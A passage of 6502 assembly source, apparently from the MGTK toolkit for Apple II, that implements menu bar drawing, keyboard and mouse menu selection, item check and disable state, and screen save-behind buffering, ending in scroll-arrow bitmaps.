;;; 1 byte of params, copied to $82
check_kbd_flag: .byte $80
.proc SetKeyEventImpl
PARAM_BLOCK params, $82
handle_keys .byte
END_PARAM_BLOCK
asl check_kbd_flag
ror params::handle_keys
ror check_kbd_flag
rts
.endproc ; SetKeyEventImpl
;;; ============================================================
;;; Menu drawing metrics
offset_checkmark: .byte 2
offset_text: .byte 9
offset_shortcut: .byte 16
shortcut_x_adj: .byte 9
non_shortcut_x_adj: .byte 30
sysfont_height: .byte 0
active_menu:
.addr 0
;; Modified by `StartDeskTopImpl`
DEFINE_RECT menu_bar_rect, AS_WORD(-1), AS_WORD(-1), kScreenWidth, $C
;; Modified by `StartDeskTopImpl` and `HiliteMenu`
DEFINE_RECT hilite_menu_rect, 0, 0, 0, 11
savebehind_buffer:
.word 0
DEFINE_RECT menu_hittest_rect, 0, 12, 0, 0
DEFINE_RECT menu_fill_rect, 0, 12, 0, 0
menu_item_y_table:
.res MGTK::max_menu_items+1 ; last entry represents height of menu
menu_glyphs:
open_apple_glyph:
.byte $1F
solid_apple_glyph:
.byte $1E
.assert (solid_apple_glyph - open_apple_glyph) = 1, error, "solid_apple_glyph must follow open_apple_glyph immediately"
checkmark_glyph:
.byte $1D
controlkey_glyph:
.byte $01
shortcut_text:
.byte 2 ; length
.byte $1E
.byte $FF
mark_text:
.byte 1 ; length
.byte $1D
menu_bar_rect_addr:
.addr menu_bar_rect
menu_hittest_rect_addr:
.addr menu_hittest_rect
mark_text_addr:
.addr mark_text
shortcut_text_addr:
.addr shortcut_text
menu_index := $A7
menu_count := $A8
menu_item_index := $A9
menu_item_count := $AA
menu_ptr := $AB
menu_item_ptr := $AD
PARAM_BLOCK curmenu, $AF
;; Public members
menu_id .byte
disabled .byte
title .addr
menu_items .addr
;; Reserved area in menu
x_penloc .word
x_min .word
x_max .word
END_PARAM_BLOCK
PARAM_BLOCK curmenuinfo, $BB
;; Reserved area before first menu item
x_min .word
x_max .word
END_PARAM_BLOCK
PARAM_BLOCK curmenuitem, $BF
;; Public members
options .byte
mark_char .byte
shortcut1 .byte
shortcut2 .byte
name .addr
END_PARAM_BLOCK
.proc GetMenuCount
copy16 active_menu, $82
ldy #0
lda ($82),y
sta menu_count
rts
.endproc ; GetMenuCount
.proc GetMenu
stx menu_index
lda #2
clc
: dex
bmi :+
adc #12
bne :-
: adc active_menu
sta menu_ptr
lda active_menu+1
adc #0
sta menu_ptr+1
ldy #.sizeof(MGTK::MenuBarItem)-1
: lda (menu_ptr),y
sta curmenu,y
dey
bpl :-
ldy #.sizeof(MGTK::MenuItem)-1
: lda (curmenu::menu_items),y
sta curmenuinfo-1,y
dey
bne :-
lda (curmenu::menu_items),y
sta menu_item_count
rts
.endproc ; GetMenu
.proc PutMenu
ldy #.sizeof(MGTK::MenuBarItem)-1
: lda curmenu,y
sta (menu_ptr),y
dey
bpl :-
ldy #.sizeof(MGTK::MenuItem)-1
: lda curmenuinfo-1,y
sta (curmenu::menu_items),y
dey
bne :-
rts
.endproc ; PutMenu
.proc GetMenuItem
stx menu_item_index
lda #.sizeof(MGTK::MenuItem)
clc
: dex
bmi :+
adc #.sizeof(MGTK::MenuItem)
bne :-
:
adc curmenu::menu_items
sta menu_item_ptr
lda curmenu::menu_items+1
adc #0
sta menu_item_ptr+1
ldy #.sizeof(MGTK::MenuItem)-1
: lda (menu_item_ptr),y
sta curmenuitem,y
dey
bpl :-
rts
.endproc ; GetMenuItem
.proc PutMenuItem
ldy #.sizeof(MGTK::MenuItem)-1
: lda curmenuitem,y
sta (menu_item_ptr),y
dey
bpl :-
rts
.endproc ; PutMenuItem
;; Set penloc to X=AX, Y=Y
.proc SetPenloc
sty current_penloc_y
ldy #0
sty current_penloc_y+1
set_x: stax current_penloc_x
rts
.endproc ; SetPenloc
.proc SetFillModeXOR
lda #MGTK::penXOR
FALL_THROUGH_TO SetFillMode
.endproc ; SetFillModeXOR
;; Set fill mode to A
.proc SetFillMode
sta current_penmode
jmp SetPenModeImpl
.endproc ; SetFillMode
.proc DoMeasureText
jsr PrepareTextParams
jmp MeasureText
.endproc ; DoMeasureText
.proc DrawText
jsr PrepareTextParams
jmp DrawTextImpl
.endproc ; DrawText
;; Prepare $A1,$A2 as params for TextWidth/DrawText call
;; ($A3 is length)
.proc PrepareTextParams
temp_ptr := $82
stax temp_ptr
tay
iny
bne :+
inx
: styx MeasureText::data
ldy #0
lda (temp_ptr),y
sta MeasureText::length
rts
.endproc ; PrepareTextParams
.proc GetAndReturnEvent
PARAM_BLOCK event, $82
kind .byte
.union
mouse_pos .tag MGTK::Point
.struct
key .byte
modifiers .byte
.endstruct
.endunion
END_PARAM_BLOCK
MGTK_CALL MGTK::GetEvent, event
return event
.endproc ; GetAndReturnEvent
;;; ============================================================
;;; SetMenu
need_savebehind:
.res 2
.proc SetMenuImpl
temp := $82
max_width := $C5
copy16 params_addr, active_menu
draw_menu_impl:
lda #0
sta savebehind_usage
sta savebehind_usage+1
jsr GetMenuCount ; into menu_count
jsr HideCursorSaveParams
jsr SetStandardPort
ldax menu_bar_rect_addr
jsr FillAndFrameRect
ldax #12
ldy sysfont_height
iny
jsr SetPenloc
ldx #0
menuloop:
jsr GetMenu
ldax current_penloc_x
stax curmenu::x_penloc
subax8 #8
stax curmenu::x_min
stax curmenuinfo::x_min
ldx #0
stx max_width
stx max_width+1
itemloop:
jsr GetMenuItem
bit curmenuitem::options
bvs filler ; bit 6 - is filler
ldax curmenuitem::name
jsr DoMeasureText
stax temp
lda curmenuitem::options
and #3 ; OA+SA
ora curmenuitem::shortcut1
bne :+
lda shortcut_x_adj
bne has_shortcut
: lda non_shortcut_x_adj
has_shortcut:
clc
adc temp
sta temp
bcc :+
inc temp+1
:
sec
sbc max_width
lda temp+1
sbc max_width+1
bmi :+
copy16 temp, max_width ; calculate max width
:
filler: ldx menu_item_index
inx
cpx menu_item_count
bne itemloop
add16_8 max_width, offset_text
lda menu_item_count
tax
ldy sysfont_height
iny
iny
iny
jsr MultXY ; num items * (sysfont_height+3)
pha
copy16 max_width, FixedDiv::dividend
copy16 #7, FixedDiv::divisor
jsr FixedDiv ; max width / 7
ldy FixedDiv::quotient+2
iny
iny
pla
tax
jsr MultXY ; total height * ((max width / 7)+2)
sta need_savebehind
sty need_savebehind+1
sec
sbc savebehind_usage
tya
sbc savebehind_usage+1
bmi :+
copy16 need_savebehind, savebehind_usage ; calculate max savebehind data needed
: add16 curmenuinfo::x_min, max_width, curmenuinfo::x_max
jsr PutMenu
ldax curmenu::title
jsr DrawText
jsr GetMenuAndMenuItem
ldax current_penloc_x
addax8 #8
stax curmenu::x_max
jsr PutMenu
ldax #12
jsr AdjustXPos
ldx menu_index
inx
cpx menu_count
jne menuloop
jsr ShowCursorAndRestore
sec
lda savebehind_size
sbc savebehind_usage
lda savebehind_size+1
sbc savebehind_usage+1
bpl :+
EXIT_CALL MGTK::Error::insufficient_savebehind_area
: rts
.endproc ; SetMenuImpl
DrawMenuImpl := SetMenuImpl::draw_menu_impl
.proc GetMenuAndMenuItem
ldx menu_index
jsr GetMenu
ldx menu_item_index
jmp GetMenuItem
.endproc ; GetMenuAndMenuItem
;; Fills rect (params at X,A) then inverts border
.proc FillAndFrameRect
stax fill_params
stax draw_params
lda #MGTK::pencopy
jsr SetFillMode
MGTK_CALL MGTK::PaintRect, 0, fill_params
lda #MGTK::notpencopy
jsr SetFillMode
MGTK_CALL MGTK::FrameRect, 0, draw_params
rts
.endproc ; FillAndFrameRect
.proc FindMenuByIdOrFail
jsr FindMenuById
bne :+
EXIT_CALL MGTK::Error::menu_not_found
: rts
.endproc ; FindMenuByIdOrFail
find_mode := $C6
find_mode_by_id := $00 ; find menu/menu item by id
find_menu_id := $C7
find_menu_item_id := $C8
find_mode_by_coord := $80 ; find menu by x-coord/menu item by y-coord
; coordinate is in `cursor_pos`
find_mode_by_shortcut := $C0 ; find menu and menu item by shortcut key
find_shortcut := $C9
find_options := $CA
.proc FindMenuById
lda #find_mode_by_id
find_menu:
sta find_mode
jsr GetMenuCount
ldx #0
loop: jsr GetMenu
bit find_mode
bvs find_menu_item_mode
bmi :+
lda curmenu::menu_id ; search by menu id
cmp find_menu_id
bne next
found: return curmenu::menu_id ; reload to clear Z flag
: ldax cursor_pos::xcoord ; search by x coordinate bounds
cpx curmenu::x_min+1
bcc next
bne :+
cmp curmenu::x_min
bcc next
: cpx curmenu::x_max+1
bcc found
bne next
cmp curmenu::x_max
bcs next
bcc found
find_menu_item_mode:
jsr FindMenuItem
bne found
next: ldx menu_index
inx
cpx menu_count
bne loop
return #0
.endproc ; FindMenuById
find_menu := FindMenuById::find_menu
.proc FindMenuItem
ldx #0
loop: jsr GetMenuItem
ldx menu_item_index
inx
bit find_mode
bvs find_by_shortcut
bmi :+
cpx find_menu_item_id
bne next
rts
: lda menu_item_y_table,x
cmp cursor_pos::ycoord
bcc next
rts
find_by_shortcut:
lda find_shortcut
and #CHAR_MASK
cmp curmenuitem::shortcut1
beq :+
cmp curmenuitem::shortcut2
bne next
: cmp #$20 ; is control char
bcc found
lda curmenuitem::options
and #MGTK::MenuOpt::disable_flag | MGTK::MenuOpt::item_is_filler
bne next
lda curmenuitem::options
and find_options
bne found
next: cpx menu_item_count
bne loop
ldx #0
found: rts
.endproc ; FindMenuItem
;;; ============================================================
;;; HiliteMenu
;;; 2 bytes of params, copied to $C7
.proc HiliteMenuImpl
menu_param := $C7
lda menu_param
bne :+
lda cur_open_menu_id
sta menu_param
: jsr FindMenuByIdOrFail
do_hilite:
jsr HideCursorSaveParams
jsr SetStandardPort
jsr HiliteMenu
jmp ShowCursorAndRestore
.endproc ; HiliteMenuImpl
;; Highlight/Unhighlight top level menu item
.proc HiliteMenu
ldx #1
loop: lda curmenu::x_min,x
sta hilite_menu_rect+MGTK::Rect::x1,x
lda curmenu::x_max,x
sta hilite_menu_rect+MGTK::Rect::x2,x
lda curmenuinfo::x_min,x
sta menu_hittest_rect+MGTK::Rect::x1,x
sta menu_fill_rect+MGTK::Rect::x1,x
lda curmenuinfo::x_max,x
sta menu_hittest_rect+MGTK::Rect::x2,x
sta menu_fill_rect+MGTK::Rect::x2,x
dex
bpl loop
jsr SetFillModeXOR
MGTK_CALL MGTK::PaintRect, hilite_menu_rect
rts
.endproc ; HiliteMenu
;;; ============================================================
;;; MenuKey
;;; 4 bytes of params, copied to $C7
.proc MenuKeyImpl
PARAM_BLOCK params, $C7
menu_id .byte
menu_item .byte
which_key .byte
key_mods .byte
END_PARAM_BLOCK
lda params::which_key
cmp #CHAR_ESCAPE
bne :+
lda params::key_mods
bne :+
jsr KeyboardMouse
jmp MenuSelectImpl
: lda #find_mode_by_shortcut
jsr find_menu
beq not_found
lda curmenu::disabled
bmi not_found
lda curmenuitem::options
and #MGTK::MenuOpt::disable_flag | MGTK::MenuOpt::item_is_filler
bne not_found
lda curmenu::menu_id
sta cur_open_menu_id
bne found
not_found:
lda #0
tax
found: ldy #0
sta (params_addr),y
iny
txa
sta (params_addr),y
bne HiliteMenuImpl::do_hilite
rts
.endproc ; MenuKeyImpl
.proc FindMenuAndMenuItem
jsr FindMenuByIdOrFail
jsr FindMenuItem
cpx #0
.endproc ; FindMenuAndMenuItem
rrts: rts
.proc FindMenuItemOrFail
jsr FindMenuAndMenuItem
bne rrts
EXIT_CALL MGTK::Error::menu_item_not_found
.endproc ; FindMenuItemOrFail
;;; ============================================================
;;; DisableItem
;;; 3 bytes of params, copied to $C7
.proc DisableItemImpl
PARAM_BLOCK params, $C7
menu_id .byte
menu_item .byte
disable .byte
END_PARAM_BLOCK
jsr FindMenuItemOrFail
asl curmenuitem::options
ror params::disable
ror curmenuitem::options
jmp PutMenuItem
.endproc ; DisableItemImpl
;;; ============================================================
;;; CheckItem
;;; 3 bytes of params, copied to $C7
.proc CheckItemImpl
PARAM_BLOCK params, $C7
menu_id .byte
menu_item .byte
check .byte
END_PARAM_BLOCK
jsr FindMenuItemOrFail
lda params::check
beq :+
lda #MGTK::MenuOpt::item_is_checked
ora curmenuitem::options
bne set_options ; always
: lda #$FF^MGTK::MenuOpt::item_is_checked
and curmenuitem::options
set_options:
sta curmenuitem::options
jmp PutMenuItem
.endproc ; CheckItemImpl
;;; ============================================================
;;; DisableMenu
;;; 2 bytes of params, copied to $C7
.proc DisableMenuImpl
PARAM_BLOCK params, $C7
menu_id .byte
disable .byte
END_PARAM_BLOCK
jsr FindMenuByIdOrFail
asl curmenu::disabled
ror params::disable
ror curmenu::disabled
ldx menu_index
jmp PutMenu
.endproc ; DisableMenuImpl
;;; ============================================================
;;; MenuSelect
cur_open_menu_id:
.byte 0
cur_hilited_menu_item:
.byte 0
was_in_menu_flag:
.byte 0
.proc MenuSelectImpl
PARAM_BLOCK params, $C7
menu_id .byte
menu_item .byte
END_PARAM_BLOCK
jsr GetMenuCount
jsr SaveParamsAndStack
jsr SetStandardPort
lda #0
sta cur_open_menu_id
sta cur_hilited_menu_item
sta was_in_menu_flag
sta movement_cancel
;; Initiated with mouse or keyboard?
bit kbd_mouse_state
jpl in_menu_bar ; use mouse coords for menu
lda #kKeyboardMouseStateInactive
sta kbd_mouse_state
ldx #0
jsr GetMenu ; X = index
lda curmenu::menu_id
jmp imb_change
;; --------------------------------------------------
event_loop:
COPY_BYTES kLastCursorPosLen, cursor_pos::xcoord, last_cursor_pos
jsr GetAndReturnEvent
;; --------------------
cmp #MGTK::EventKind::button_down
jeq handle_click
;; --------------------
IF_A_EQ #MGTK::EventKind::button_up
bit was_in_menu_flag
jmi handle_click
lda cur_open_menu_id
bne event_loop
jeq handle_click ; always
END_IF
;; --------------------
IF_A_EQ #MGTK::EventKind::key_down
;; Set up `sel_menu_*`
lda menu_index ; TODO: Verify this is valid
sta sel_menu_index
sta last_menu_index
lda cur_hilited_menu_item
sta sel_menu_item_index
;; BUG: hit 'A' when menu showing, redraws
;; `menu_index` changes
;; Process the key
lda GetAndReturnEvent::event::modifiers
sta set_input_modifiers
lda GetAndReturnEvent::event::key
jsr HandleMenuKey
;; Done?
bit movement_cancel
IF_NS
;; Menu selection or cancel
jsr close_menu
jsr RestoreParamsActivePort
lda sel_menu_item_index
IF_ZERO
;; Cancel - just exit with 0,0
tax
jmp store_xa_at_params
END_IF
ldx sel_menu_index
jsr GetMenu
lda curmenu::menu_id
pha ; A = menu id
ldx cur_hilited_menu_item ; left non-zero if selected
IF_ZERO
sta HiliteMenuImpl::menu_param
jsr HiliteMenuImpl
END_IF
pla ; A = menu id
ldx sel_menu_item_index
jmp store_xa_at_params
END_IF
;; Did `sel_menu_index` change?
ldx sel_menu_index
IF_X_NE last_menu_index
lda #0
sta cur_hilited_menu_item
jsr GetMenu ; X = index
lda curmenu::menu_id
jmp imb_change
END_IF
;; Did `sel_menu_item_index` change?
ldx sel_menu_item_index
IF_X_NE cur_hilited_menu_item
jmp imi_change
END_IF
jmp event_loop
END_IF
;; --------------------
cmp #MGTK::EventKind::drag
beq :+
cmp #MGTK::EventKind::no_event
jne event_loop
:
;; Was there a move?
ldx #kLastCursorPosLen-1
: lda cursor_pos,x
cmp last_cursor_pos,x
bne :+
dex
bpl :-
jmp event_loop ; no move, ignore
:
;; Moved - mouse pos dominates
MGTK_CALL MGTK::MoveTo, mouse_state
MGTK_CALL MGTK::InRect, menu_bar_rect
bne in_menu_bar
lda cur_open_menu_id
jeq event_loop
MGTK_CALL MGTK::InRect, menu_hittest_rect ; test in menu
bne in_menu_item
jsr UnhiliteCurMenuItem
jmp event_loop
;; --------------------------------------------------
;; Tear down menu
handle_click:
jsr close_menu
FALL_THROUGH_TO restore
;; --------------------------------------------------
;; Exit menu loop
restore:
jsr RestoreParamsActivePort
lda #0
ldx cur_hilited_menu_item
beq :+
lda cur_open_menu_id
: jmp store_xa_at_params
;; --------------------------------------------------
;; Over an item in the menu bar
in_menu_bar:
jsr UnhiliteCurMenuItem
lda #find_mode_by_coord
jsr find_menu
cmp cur_open_menu_id
jeq event_loop
imb_change:
pha
jsr HideMenu
pla
sta cur_open_menu_id
jsr DrawMenuBar
jmp event_loop
;; --------------------------------------------------
;; Over an item the current menu
in_menu_item:
lda #find_mode_by_coord
sta was_in_menu_flag
sta find_mode
jsr FindMenuItem
cpx cur_hilited_menu_item
jeq event_loop
imi_change:
lda curmenu::disabled
ora curmenuitem::options
and #MGTK::MenuOpt::disable_flag | MGTK::MenuOpt::item_is_filler
beq :+
ldx #0
: txa
pha
jsr HiliteMenuItem
pla
sta cur_hilited_menu_item
jsr HiliteMenuItem
jmp event_loop
;; --------------------------------------------------
close_menu:
lda cur_hilited_menu_item
jeq HideMenu ; unhilite menu bar item
jsr HideCursorImpl ; leaves menu bar item alone
ldx menu_index
jsr GetMenu
jsr SetStandardPort
jmp RestoreMenuSavebehind
;; --------------------------------------------------
;; Keyboard navigation of menu
.proc HandleMenuKey
pha
ldx sel_menu_index
jsr GetMenu
pla
cmp #CHAR_ESCAPE
bne try_return
;; Escape - exit menu loop with no selection
lda #0
sta sel_menu_index
sta sel_menu_item_index
sta cur_hilited_menu_item ; ignore it
lda #$80
sta movement_cancel
rts
try_return:
cmp #CHAR_RETURN
bne try_up
;; Return - exit menu loop with selection
lda #$80
sta movement_cancel
rts
try_up:
cmp #CHAR_UP
bne try_down
uploop:
bit curmenu::disabled
bmi zero
dec sel_menu_item_index
bpl :+
ldx menu_item_count
stx sel_menu_item_index
: ldx sel_menu_item_index
beq :+
dex
jsr GetMenuItem
lda curmenuitem::options
and #MGTK::MenuOpt::disable_flag | MGTK::MenuOpt::item_is_filler
bne uploop
: jmp finish
try_down:
cmp #CHAR_DOWN
bne try_right
downloop:
bit curmenu::disabled
bmi zero
inc sel_menu_item_index
lda sel_menu_item_index
cmp menu_item_count
bcc :+
beq :+
zero: lda #0
sta sel_menu_item_index
: ldx sel_menu_item_index
beq :+
dex
jsr GetMenuItem
lda curmenuitem::options
and #MGTK::MenuOpt::disable_flag | MGTK::MenuOpt::item_is_filler
bne downloop
: jmp finish
try_right:
cmp #CHAR_RIGHT
bne try_left
lda #0
sta sel_menu_item_index
inc sel_menu_index
ldx sel_menu_index
cpx menu_count
bcc :+
sta sel_menu_index
: jmp finish
try_left:
cmp #CHAR_LEFT
bne nope
lda #0
sta sel_menu_item_index
dec sel_menu_index
bpl :+
ldx menu_count
dex
stx sel_menu_index
: jmp finish
nope: jsr KbdMenuByShortcut
bcc :+
lda #$80
sta movement_cancel
lda #0
sta cur_hilited_menu_item ; ignore it
:
ldx sel_menu_index
jsr GetMenu
finish: rts
.endproc ; HandleMenuKey
.proc KbdMenuByShortcut
sta find_shortcut
lda set_input_modifiers
and #3
sta find_options
lda cur_open_menu_id
pha
lda cur_hilited_menu_item
pha
lda #find_mode_by_shortcut
jsr find_menu
beq fail
stx sel_menu_item_index
lda curmenu::disabled
bmi fail
lda curmenuitem::options
and #MGTK::MenuOpt::disable_flag | MGTK::MenuOpt::item_is_filler
bne fail
lda z:menu_index
sta sel_menu_index
sec
.byte OPC_BCC ; mask next byte (clc)
fail: clc
pla
sta cur_hilited_menu_item
pla
sta cur_open_menu_id
sta find_menu_id
rts
.endproc ; KbdMenuByShortcut
;;; Used to track selection changes via keyboard. These are only valid
;;; for the duration of a `MenuSelectImpl` call, while processing
;;; an `EventKind::key_down` event.
sel_menu_index:
.byte 0
sel_menu_item_index:
.byte 0
last_menu_index:
.byte 0
kLastCursorPosLen = 3 ; don't bother with Y high byte
last_cursor_pos:
.res kLastCursorPosLen
.endproc ; MenuSelectImpl
;;; ============================================================
savebehind_left_bytes := $82
savebehind_bottom := $83
savebehind_buf_addr := $8E
savebehind_vid_addr := $84
savebehind_mapwidth := $90
.proc SetUpMenuSavebehind
lda curmenuinfo::x_min+1
ldx curmenuinfo::x_min
jsr DivMod7
sta savebehind_left_bytes
lda curmenuinfo::x_max+1
ldx curmenuinfo::x_max
jsr DivMod7
sec
sbc savebehind_left_bytes
sta savebehind_mapwidth
copy16 savebehind_buffer, savebehind_buf_addr
ldy menu_item_count
ldx menu_item_y_table,y ; height of menu
inx
stx savebehind_bottom
stx menu_fill_rect+MGTK::Rect::y2
stx menu_hittest_rect+MGTK::Rect::y2
ldx sysfont_height
inx
inx
inx
stx menu_fill_rect+MGTK::Rect::y1
stx menu_hittest_rect+MGTK::Rect::y1
rts
.endproc ; SetUpMenuSavebehind
.proc SetUpRectSavebehind
rect := $92
lda rect+MGTK::Rect::x1+1
ldx rect+MGTK::Rect::x1
jsr DivMod7
sta savebehind_left_bytes
lda rect+MGTK::Rect::x2+1
ldx rect+MGTK::Rect::x2
jsr DivMod7
sec
sbc savebehind_left_bytes
sta savebehind_mapwidth
copy16 savebehind_buffer, savebehind_buf_addr
lda rect+MGTK::Rect::y2
sta savebehind_bottom
ldx rect+MGTK::Rect::y1
rts
.endproc ; SetUpRectSavebehind
.proc SavebehindGetVidaddr
lda hires_table_lo,x
clc
adc savebehind_left_bytes
sta savebehind_vid_addr
lda hires_table_hi,x
ora #$20
sta savebehind_vid_addr+1
rts
.endproc ; SavebehindGetVidaddr
;;; ============================================================
.proc SaveScreenRectImpl
jsr SetUpRectSavebehind
FALL_THROUGH_TO DoSavebehind
.endproc ; SaveScreenRectImpl
.proc DoSavebehind
loop: jsr SavebehindGetVidaddr
sta HISCR
jsr row
sta LOWSCR
jsr row
inx
cpx savebehind_bottom
bcc loop
beq loop
rts
row: ldy savebehind_mapwidth
: lda (savebehind_vid_addr),y
sta (savebehind_buf_addr),y
dey
bpl :-
FALL_THROUGH_TO SavebehindNextLine
.endproc ; DoSavebehind
.proc SavebehindNextLine
lda savebehind_buf_addr
sec
adc savebehind_mapwidth
sta savebehind_buf_addr
bcc :+
inc savebehind_buf_addr+1
: rts
.endproc ; SavebehindNextLine
.proc RestoreScreenRectImpl
jsr SetUpRectSavebehind
jmp RestoreSavebehind
.endproc ; RestoreScreenRectImpl
.proc RestoreMenuSavebehind
jsr SetUpMenuSavebehind
FALL_THROUGH_TO RestoreSavebehind
.endproc ; RestoreMenuSavebehind
.proc RestoreSavebehind
loop: jsr SavebehindGetVidaddr
sta HISCR
jsr row
sta LOWSCR
jsr row
inx
cpx savebehind_bottom
bcc loop
beq loop
jmp ShowCursorImpl
row: ldy savebehind_mapwidth
: lda (savebehind_buf_addr),y
sta (savebehind_vid_addr),y
dey
bpl :-
bmi SavebehindNextLine ; always
.endproc ; RestoreSavebehind
dmrts: rts
.proc HideMenu
clc
.byte OPC_BCS ; mask next byte (sec)
FALL_THROUGH_TO DrawMenuBar
.endproc ; HideMenu
.proc DrawMenuBar
sec ; masked if `HideMenu` is called
lda cur_open_menu_id
beq dmrts
php
sta find_menu_id
jsr FindMenuById
jsr HideCursorImpl
jsr HiliteMenu
plp
bcc RestoreMenuSavebehind
jsr SetUpMenuSavebehind
jsr DoSavebehind
jsr SetStandardPort
ldax menu_hittest_rect_addr
jsr FillAndFrameRect
inc16 menu_fill_rect+MGTK::Rect::x1
lda menu_fill_rect+MGTK::Rect::x2
bne :+
dec menu_fill_rect+MGTK::Rect::x2+1
: dec menu_fill_rect+MGTK::Rect::x2
jsr GetMenuAndMenuItem
ldx #0
loop: jsr GetMenuItem
bit curmenuitem::options
bvc :+
jsr DrawFiller
jmp next
: lda curmenuitem::options
and #MGTK::MenuOpt::item_is_checked
beq no_mark
lda offset_checkmark
jsr MovetoMenuitem
lda checkmark_glyph
sta mark_text+1
lda curmenuitem::options
and #MGTK::MenuOpt::item_has_mark
beq :+
lda curmenuitem::mark_char
sta mark_text+1
: ldax mark_text_addr
jsr DrawText
jsr GetMenuAndMenuItem
no_mark:
lda offset_text
jsr MovetoMenuitem
ldax curmenuitem::name
jsr DrawText
jsr GetMenuAndMenuItem
lda #2 ; default is modifier + character
sta shortcut_text
lda curmenuitem::options
and #MGTK::MenuOpt::open_apple | MGTK::MenuOpt::solid_apple
.assert MGTK::MenuOpt::open_apple = 1, error, "MGTK::MenuOpt::open_apple must be 1"
.assert MGTK::MenuOpt::solid_apple = 2, error, "MGTK::MenuOpt::solid_apple must be 2"
bne oa_sa
lda curmenuitem::shortcut1
beq no_shortcut
;; Special case: if both the same, use glyph at that code point
cmp curmenuitem::shortcut2
bne :+
dec shortcut_text ; just use single character
sta shortcut_text+1
bne offset ; always
:
ldx controlkey_glyph
stx shortcut_text+1
ora #$40 ; control -> uppercase
bne sst ; always
oa_sa: cmp #MGTK::MenuOpt::open_apple | MGTK::MenuOpt::solid_apple
bne :+
lda #MGTK::MenuOpt::open_apple ; just show OA
: tax
lda open_apple_glyph-MGTK::MenuOpt::open_apple,x
sta shortcut_text+1
lda curmenuitem::shortcut1
sst: sta shortcut_text+2
offset: lda offset_shortcut
jsr MovetoFromright
ldax shortcut_text_addr
jsr DrawText
jsr GetMenuAndMenuItem
no_shortcut:
lda curmenu::disabled
ora curmenuitem::options
bpl next
jsr DimMenuitem
next: ldx menu_item_index
inx
cpx menu_item_count
beq :+
jmp loop
: jmp ShowCursorImpl
.endproc ; DrawMenuBar
.proc MovetoMenuitem
ldx menu_item_index
ldy menu_item_y_table+1,x ; ???
dey
ldx curmenuinfo::x_min+1
addax8 curmenuinfo::x_min
jmp SetPenloc
.endproc ; MovetoMenuitem
.proc DimMenuitem
ldx menu_item_index
ldy menu_item_y_table,x
iny
sty menu_item_rect+MGTK::Rect::y1
lda menu_item_y_table+1,x
sta menu_item_rect+MGTK::Rect::y2
MGTK_CALL MGTK::SetPattern, checkerboard_pattern
lda #MGTK::penOR
ep2: jsr SetFillMode
add16 curmenuinfo::x_min, #1, menu_item_rect+MGTK::Rect::x1
sub16 curmenuinfo::x_max, #1, menu_item_rect+MGTK::Rect::x2
MGTK_CALL MGTK::PaintRect, menu_item_rect
MGTK_CALL MGTK::SetPattern, standard_port::pattern
jmp SetFillModeXOR
.endproc ; DimMenuitem
.proc DrawFiller
ldx menu_item_index
ldy sysfont_height
iny ; /= 2, but round up
tya
lsr
clc
adc menu_item_y_table,x
sta menu_item_rect+MGTK::Rect::y1
sta menu_item_rect+MGTK::Rect::y2
MGTK_CALL MGTK::SetPattern, checkerboard_pattern
lda #MGTK::pencopy
beq DimMenuitem::ep2 ; always
.endproc ; DrawFiller
DEFINE_RECT menu_item_rect, 0, 0, 0, 0
;; Move to the given distance from the right side of the menu.
.proc MovetoFromright
sta $82
ldax curmenuinfo::x_max
subax8 $82
jmp SetPenloc::set_x
.endproc ; MovetoFromright
.proc UnhiliteCurMenuItem
jsr HiliteMenuItem
lda #0
sta cur_hilited_menu_item
.endproc ; UnhiliteCurMenuItem
hmrts: rts
.proc HiliteMenuItem
ldx cur_hilited_menu_item
beq hmrts
ldy menu_item_y_table-1,x
sty menu_fill_rect+MGTK::Rect::y1
ldy menu_item_y_table,x
sty menu_fill_rect+MGTK::Rect::y2
jsr HideCursorImpl
jsr SetFillModeXOR
MGTK_CALL MGTK::PaintRect, menu_fill_rect
jmp ShowCursorImpl
.endproc ; HiliteMenuItem
;;; ============================================================
;;; InitMenu
;;; 4 bytes of params, copied to $82
.proc InitMenuImpl
PARAM_BLOCK params, $82
solid_char .byte
open_char .byte
check_char .byte
control_char .byte
END_PARAM_BLOCK
COPY_BYTES 4, params, menu_glyphs
copy16 standard_port::textfont, params
lda #2
sta offset_checkmark
ldx #16
ldy #0
lda (params),y
asl
ldy #30
bcs :+ ; branch if double-width font
lda #9
sta offset_text
sta shortcut_x_adj
stx offset_shortcut
sty non_shortcut_x_adj
rts
: stx offset_text
stx shortcut_x_adj
sty offset_shortcut
lda #51
sta non_shortcut_x_adj
rts
.endproc ; InitMenuImpl
;;; ============================================================
;;; SetMark
;;; 4 bytes of params, copied to $C7
.proc SetMarkImpl
PARAM_BLOCK params, $C7
menu_id .byte
menu_item .byte
set_char .byte
mark_char .byte
END_PARAM_BLOCK
jsr FindMenuItemOrFail
lda params::set_char
beq :+
lda #MGTK::MenuOpt::item_has_mark
ora curmenuitem::options
sta curmenuitem::options
lda params::mark_char
sta curmenuitem::mark_char
jmp PutMenuItem
: lda #$FF^MGTK::MenuOpt::item_has_mark
and curmenuitem::options
sta curmenuitem::options
jmp PutMenuItem
.endproc ; SetMarkImpl
.struct Bitmap
xcoord .word
ycoord .word
width .byte
height .byte
bits .addr
.endstruct
.params up_scroll_params
xcoord: .res 2
ycoord: .res 2
.byte 19,10
.addr up_scroll_bitmap
.endparams
.params down_scroll_params
xcoord: .res 2
ycoord: .res 2
.byte 19,10
.addr down_scroll_bitmap
.endparams
.params left_scroll_params
xcoord: .res 2
ycoord: .res 2
.byte 20,9
.addr left_scroll_bitmap
.endparams
.params right_scroll_params
xcoord: .res 2
ycoord: .res 2
.byte 18,9
.addr right_scroll_bitmap
.endparams
.params resize_box_params
xcoord: .res 2
ycoord: .res 2
.byte 20,10
.addr resize_box_bitmap
.endparams
;; Up Scroll
up_scroll_bitmap:
PIXELS "....................."
PIXELS "..........##........."
PIXELS "........##..##......."
PIXELS "......##......##....."
PIXELS "....##..........##..."
PIXELS "..######......######."
PIXELS "......##......##....."
PIXELS "......##......##....."
PIXELS "......##########....."
PIXELS "....................."
PIXELS ".####################"
;; Down Scroll
down_scroll_bitmap:
PIXELS ".####################"
PIXELS "....................."
PIXELS "......##########....."
PIXELS "......##......##....."
PIXELS "......##......##....."
PIXELS "..######......######."
PIXELS "....##..........##..."
PIXELS "......##......##....."
PIXELS "........##..##......."
PIXELS "..........##........."
PIXELS "....................."
;; Left Scroll
left_scroll_bitmap:
PIXELS "....................."
PIXELS "..........##........#"
PIXELS "........####........#"
PIXELS "......##..########..#"
PIXELS "....##..........##..#"
PIXELS "..##............##..#"
PIXELS "....##..........##..#"
PIXELS "......##..########..#"
PIXELS "........####........#"
PIXELS "..........##........#"
;; Right Scroll
right_scroll_bitmap:
